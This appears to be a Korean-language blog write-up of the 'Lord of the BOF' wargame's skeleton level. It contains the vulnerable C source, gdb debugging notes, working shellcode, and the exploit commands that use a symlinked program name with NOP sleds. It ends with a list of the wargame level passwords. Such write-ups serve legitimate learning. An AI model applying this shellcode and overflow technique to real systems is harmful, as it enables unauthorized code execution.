login : vampire
password : music world
탐색전
cat skeleton.c
/*
The Lord of the BOF : The Fellowship of the BOF
- skeleton
- argv hunter
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i, saved_argc;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}
// argc saver
saved_argc = argc;
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
// ultra argv hunter!
for(i=0; i<saved_argc; i++)
memset(argv[i], 0, strlen(argv[i]));
}
뭐가 이렇게 길어..
egghunter로 인해 환경변수를 사용할 수 없고
main에서 인자를 받고 그 인자의 48번째는 \xbf가 들어가야 한다.
그리고 argv[1]의 사이즈가 48을 넘으면 안 된다.
buffer hunter로 buffer의 값을 0으로 세팅한다.
ultra argv hunter로 모든 argv 값을 다 0으로 세팅한다.
그러면 여기서 사용할 수 있는게 뭐가 있을까. argc? 스택에 있는 값?
argc는 변수 4바이트밖에 안 되므로 활용하기 어려울거 같고 스택에 있는 값들을 보자.
cp skeleton myeleton
풀이
우선 값을 보기 위해서 실행을 하는데, 그냥 core dump를 내봐야겠다.
./myeleton $(python -c "print 'A'*47+'\xbf'")
gdb -c core
x/24wx $esp-0x100
esp보다 위에 있는(주소가 낮은) 값보다는 아래(주소가 큰 값에서 건질게 있을거 같으니 거기까지 넘겨보자)
그리고
x/24s $esp-0x50을 통해
그러니까 x/s를 통해 보기 편한 문자열로 확인해본다.
스택 프레임에서 벗어날 정도로 계속 넘기다 보면
뭔가 의미있어 보이는 i686과
빈칸이 계속되면서 (환경변수도 0으로 초기화되었으니까)
마지막 쯤에 argv[0]의 값이 존재한다.
이 문제를 풀면서 메모리 구조에 대한 더 깊이있는 이해가 필요하다고 생각이 된다.
메모리 구조를 더 자세히 보면 이렇게 되어있는데 환경변수는 모두 날아가고 그 아래 program name이 남아있다는 것이다.
argv와 관계없이 program name은 있으므로,
이번에도 심볼릭 링크를 이용하여 exploit 하겠다.
\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81
전에 사용했던 48byte \x2f가 없는 쉘코드이다.
위에서 본 core file을 자세히 보면
x/24bx 0xbffffff0
0xbffffff1 에서부터 문자열이 시작된다. 여기부터 .이 들어가는 듯
일단 그런갑다 하고
ln -s myeleton $(python -c "print '\x90'*100+'\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81'")
./$(python -c "print '\x90'*100+'\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81'") $(python -c "print 'A'*44+'\xff\xff\xff\xbf'")
앞에 null을 넣어두고 혹시 몰라 문자열의 시작 부분보다 더 뒤로 ret를 잡았는데 core dump가 일어난다.
gdb로 확인해본다.
보니까 0xbfffff65 쯤에서 program name이 있는 듯,
ret를 다시 해서...
왜 나는 안되는거지?
ret를 0xbfffffd2로 한 적도 없는데 0xbfffffd2로 되어있다.
0xbfffffd2를 보면 위에서 흰색으로 쳐놓은 부분이 program name인데, 0xbfffff65부터 0xbffffffa까지이다.
이 중에서 shellcode는 0xbfffffcb부터인데 그러면 0xbfffffd2부분에서 ret가 되면 shellcode가 잘리게 되는 것이다.
아무리 다른 ret를 넣고 gdb를 돌려도 0xbfffffd2로 되어버리니, 일단 nop을 더 넣어서 실행해본다. 그래도 0xbfffffd2여서 shellcode가 잘린다.
nop를 뒤에도 넣어보자.
? 그냥 구해졌는데 그래도 한번 core dump를 일으켜서 봐야겠다.
d2보다 앞으로 올라갔는데 그러면 아까처럼 0xbfffffd2를 넣어본다.
d2에서는 core dump가 일어난다.
그냥 shellcode 뒤 부분에서는 nop sled가 일어나서인지 0xbffffffb로 귀결된다.
그리고 이젠 shellcode 앞의 주소로 잡으면 그냥 제대로 exploit 된다.
nop가 뒤에 있고 없고의 차이가 무엇이길래 이 전에는 ret가 계속 0xbfffffd2가 된 것일까?
일단 exploit한 code는 다음과 같다.
./$(python -c "print '\x90'*100+'\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81'+'\x90'*100") $(python -c "print 'A'*44+'\x32\xff\xff\xbf'")
이제 심볼릭 링크를 skeleton에 걸어서 exploit 하겠다.
ln -s skeleton $(python -c "print '\x90'*100+'\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81'+'\x90'*100")
./$(python -c "print '\x90'*100+'\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81'+'\x90'*100") $(python -c "print 'A'*44+'\x32\xff\xff\xbf'")
짜잔!
shellcoder
이사자 도착했다!
10번까지 나왔던 login password 정리
Lord of the BOF
root
hackerschoolbof
gremlin
hello bof world
cobolt
hacking exposed
goblin
hackers proof
orc
cantata
wolfman
love eyuna
darkelf
kernel crashed
orge
timewalker
troll
aspirin
vampire
music world
skeleton
shellcoder